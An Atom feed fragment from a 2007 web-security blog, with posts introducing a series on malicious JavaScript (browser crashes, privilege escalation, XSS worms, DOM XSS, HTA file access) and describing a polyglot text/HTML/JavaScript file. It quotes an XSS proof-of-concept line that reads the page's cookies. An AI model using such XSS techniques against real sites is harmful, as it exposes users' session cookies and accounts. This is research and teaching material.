&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-4072360527964194068?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/WSzvHPh-PLEnt888vErSEuk5F7w/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WSzvHPh-PLEnt888vErSEuk5F7w/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/WSzvHPh-PLEnt888vErSEuk5F7w/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WSzvHPh-PLEnt888vErSEuk5F7w/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/XRlbx2i33d8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/4072360527964194068/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2007/08/sha-1-collision-search-graz-xss-and.html#comment-form" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/4072360527964194068?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/4072360527964194068?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/XRlbx2i33d8/sha-1-collision-search-graz-xss-and.html" title="SHA-1 Collision Search Graz XSS and CSRF" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>4</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2007/08/sha-1-collision-search-graz-xss-and.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C04CRng8fCp7ImA9WB5VFEk.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-8694501567941663312</id><published>2007-08-06T17:49:00.000-05:00</published><updated>2007-08-06T18:12:47.674-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-08-06T18:12:47.674-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><title>JavaScript is just evil (for you) [ Part I ]</title><content type="html">This is the first of 3 parts of the document entitled: "&lt;span style="font-weight: bold;"&gt;JavaScript is just &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;evil&lt;/span&gt;".&lt;br /&gt;&lt;br /&gt;Here are the first 2 chapters.&lt;br /&gt;&lt;h3&gt;1.- &lt;a href="http://www.sirdarckcat.net/jse1.html"&gt;DoSing the browser&lt;/a&gt;&lt;/h3&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;You wont learn anything new in this first chapter, is just a set of examples.&lt;/span&gt;&lt;br /&gt;&lt;h3&gt;2.- &lt;a href="http://www.sirdarckcat.net/jse2.html"&gt;Injecting code and tracing stack&lt;/a&gt;&lt;/h3&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Here we will see some attack vectors for chrome privilege escalation.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In them will demonstrate by several code examples, how JavaScript can be used for evil uses.&lt;br /&gt;&lt;br /&gt;This started a while ago, when, while chatting with &lt;a href="http://maone.net/"&gt;Giorgio Maone&lt;/a&gt;, and showing him an example that crashed Firefox (using intervals), he said as response.. "there's nothing we can do,&lt;span style="font-weight: bold;"&gt; javascript is just evil&lt;/span&gt;"..&lt;br /&gt;&lt;br /&gt;The phrase "javascript is just evil" captivated me in such a way, that I started thinking in which ways javascript could be used for evil.&lt;br /&gt;&lt;br /&gt;Now, I divided the document in 3 sections, and them divided into 5 chapters.&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;h3&gt;JavaScript is just evil (for you).&lt;/h3&gt;&lt;br /&gt;&lt;li&gt;DoSing the browser&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Injecting code and tracing stack&lt;/li&gt;&lt;br /&gt;&lt;h3&gt;JavaScript is just evil (for your server).&lt;/h3&gt;&lt;br /&gt;&lt;li&gt;XSS Worms&lt;/li&gt;&lt;br /&gt;&lt;li&gt;DOM Level XSS&lt;/li&gt;&lt;br /&gt;&lt;h3&gt;JavaScript is just evil (for your local files).&lt;/h3&gt;&lt;br /&gt;&lt;li&gt;Local Files Privileges and HTA's&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;I hope you like them!&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-8694501567941663312?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/dRBoTxPGD-WaAFxPl4b4bgT3R1g/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/dRBoTxPGD-WaAFxPl4b4bgT3R1g/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/dRBoTxPGD-WaAFxPl4b4bgT3R1g/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/dRBoTxPGD-WaAFxPl4b4bgT3R1g/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/trIAM3fNE6E" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/8694501567941663312/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2007/08/javascript-is-just-evil-for-you-part-i.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/8694501567941663312?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/8694501567941663312?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/trIAM3fNE6E/javascript-is-just-evil-for-you-part-i.html" title="JavaScript is just evil (for you) [ Part I ]" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>2</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2007/08/javascript-is-just-evil-for-you-part-i.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkMBRXk6fSp7ImA9WB5VFEk.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-4589269892219302339</id><published>2007-08-06T17:39:00.000-05:00</published><updated>2007-08-06T17:47:34.715-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-08-06T17:47:34.715-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="misc" /><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="html" /><title>Morfi! the Human readable+HTML+JavaScript file all in one..</title><content type="html">Here I present a file that will appear different depending on which application you open it.&lt;br /&gt;As plain text, it will describe how it works, as HTML, it will define XSS, and as JavaScript&lt;br /&gt;it will pop up a simple alert(document.cookie+window.location); XSS PoC.&lt;br /&gt;&lt;br /&gt;Opened as plain text (just reading the words in the code):&lt;br /&gt;&lt;br /&gt;This HTML file is a PoC on how complex the HTML and JavaScript code can get and&lt;br /&gt;here, with the use of style and changing the visibility to hidden on some non&lt;br /&gt;style elements, we will hide and show some parts of js code and HTML, we will also make&lt;br /&gt;Function and a javascript alert that shows a document cookie and the window location, a&lt;br /&gt;script that takes as src the same file, and executes the code inside the script&lt;br /&gt;and a HTML file that is also XML valid, and will define XSS.&lt;br /&gt;&lt;br /&gt;Opened as JavaScript:&lt;br /&gt;&lt;br /&gt;alert(document.cookie+window.location);&lt;br /&gt;&lt;br /&gt;Opened as HTML in Firefox:&lt;br /&gt;&lt;br /&gt;this, "the attack based on accessing and modifying a webpage in the context of other domain" is the function of XSS attacks.&lt;br /&gt;&lt;br /&gt;It will also show an alert, produced by including itself as a javascript script.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.sirdarckcat.net/morfi.html"&gt;http://www.sirdarckcat.net/morfi.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This was submitted for &lt;a href="http://www.gnucitizen.org/projects/the-month-of-hacker-folklore"&gt;The Month of Hacker Folklore&lt;/a&gt; at &lt;a href="http://www.gnucitizen.org/"&gt;GNUCITIZEN&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-4589269892219302339?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/gtan0wUxzuCkcbODTR7BrOicmOs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gtan0wUxzuCkcbODTR7BrOicmOs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/gtan0wUxzuCkcbODTR7BrOicmOs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gtan0wUxzuCkcbODTR7BrOicmOs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/MzzGFanHtIU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/4589269892219302339/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2007/08/morfi-human-readablehtmljavascript-file.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/4589269892219302339?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/4589269892219302339?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/MzzGFanHtIU/morfi-human-readablehtmljavascript-file.html" title="Morfi! the Human readable+HTML+JavaScript file all in one.." /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2007/08/morfi-human-readablehtmljavascript-file.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DU8FRXwyeSp7ImA9WB5VEkU.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-8837208253723958112</id><published>2007-08-04T23:05:00.000-05:00</published><updated>2007-08-04T23:23:34.291-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-08-04T23:23:34.291-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="google" /><title>Google teachs security basics</title><content type="html">It's rather simple.. and it deals with vulns at the "server level" (no sqli, rfi, xss, etc..) anyway..&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/edu/content/submissions/web_security/listing.html"&gt;http://code.google.com/edu/content/submissions/web_security/listing.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Lectures&lt;/h2&gt;     &lt;ul&gt;&lt;li&gt;&lt;a href="http://code.google.com/edu/content/submissions/web_security/Web_Security_Programming_I.ppt"&gt;Web Security Lecture #1&lt;/a&gt;       &lt;/li&gt;&lt;li&gt;&lt;a href="http://code.google.com/edu/content/submissions/web_security/Web_Security_Programming_II.ppt"&gt;Web Security Lecture #2&lt;/a&gt;     &lt;/li&gt;&lt;/ul&gt;      &lt;h2&gt;Coding Projects&lt;/h2&gt;     &lt;ul&gt;&lt;li&gt;&lt;a href="http://code.google.com/edu/content/submissions/web_security/Web_Security_Problem_Set.doc"&gt;Programming Problem Set&lt;/a&gt;     &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;It has 2 slide shows and 1 problem set.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Lks4_cnABGU/RrVPBzwhE8I/AAAAAAAAAA4/9lvvwo5XZEY/s1600-h/g1.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_Lks4_cnABGU/RrVPBzwhE8I/AAAAAAAAAA4/9lvvwo5XZEY/s320/g1.bmp" alt="" id="BLOGGER_PHOTO_ID_5095065445931750338" border="0" /&gt;&lt;/a&gt;&lt;/h2&gt; Thanks to&lt;a href="http://yasser.hastalent.net/"&gt; crack_x&lt;/a&gt; for showing me the &lt;a href="http://code.google.com/edu"&gt;code.google.com/edu&lt;/a&gt; site.&lt;br /&gt;&lt;br /&gt;Discuss here: &lt;a href="http://sla.ckers.org/forum/read.php?13,14409"&gt;http://sla.ckers.org/forum/read.php?13,14409&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-8837208253723958112?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/c04qaA3q0LVYfuuPgfxlnBnIEyg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/c04qaA3q0LVYfuuPgfxlnBnIEyg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/c04qaA3q0LVYfuuPgfxlnBnIEyg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/c04qaA3q0LVYfuuPgfxlnBnIEyg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/70kjGB-S2Jg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/8837208253723958112/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2007/08/google-teachs-security-basics.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/8837208253723958112?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/8837208253723958112?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/70kjGB-S2Jg/google-teachs-security-basics.html" title="Google teachs security basics" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_Lks4_cnABGU/RrVPBzwhE8I/AAAAAAAAAA4/9lvvwo5XZEY/s72-c/g1.bmp" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2007/08/google-teachs-security-basics.html</feedburner:origLink></entry></feed>

